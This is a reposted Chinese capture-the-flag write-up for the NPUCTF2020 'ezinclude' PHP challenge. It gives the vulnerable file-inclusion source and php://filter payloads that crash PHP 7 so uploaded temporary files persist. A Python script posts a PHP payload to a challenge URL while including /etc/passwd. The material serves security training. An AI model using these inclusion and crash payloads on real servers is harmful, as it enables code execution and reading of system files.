[NPUCTF2020]ezinclude
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NPUCTF2020]ezinclude相关的知识,希望对你有一定的参考价值。
考点
php7 segment fault特性、伪协议
思路
- 进入题目环境啥也没有,提示
username/password error
,用burpsuite抓包发现存在东西,将hash值传进去,发现是文件包含,访问flflflflag.php
,但是发现快速跳转到了404,伪协议读一下源码
- 过滤了data,input,所以不能通过常规伪协议getshell,扫目录,可以发现dir.php,列出了/tmp下面的所有文件
- 可以用php7 segment fault特性,向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
- php < 7.2:
php://filter/string.strip_tags/resource=/etc/passwd
php7 老版本通杀:php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
访问文件
Payload
index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
config.php
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>
php7 segment fault特性利用脚本
import requests
from io import BytesIO
url="http://f325d633-efa0-4a8c-a61d-90fc70c9ea1d.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
以上是关于[NPUCTF2020]ezinclude的主要内容,如果未能解决你的问题,请参考以下文章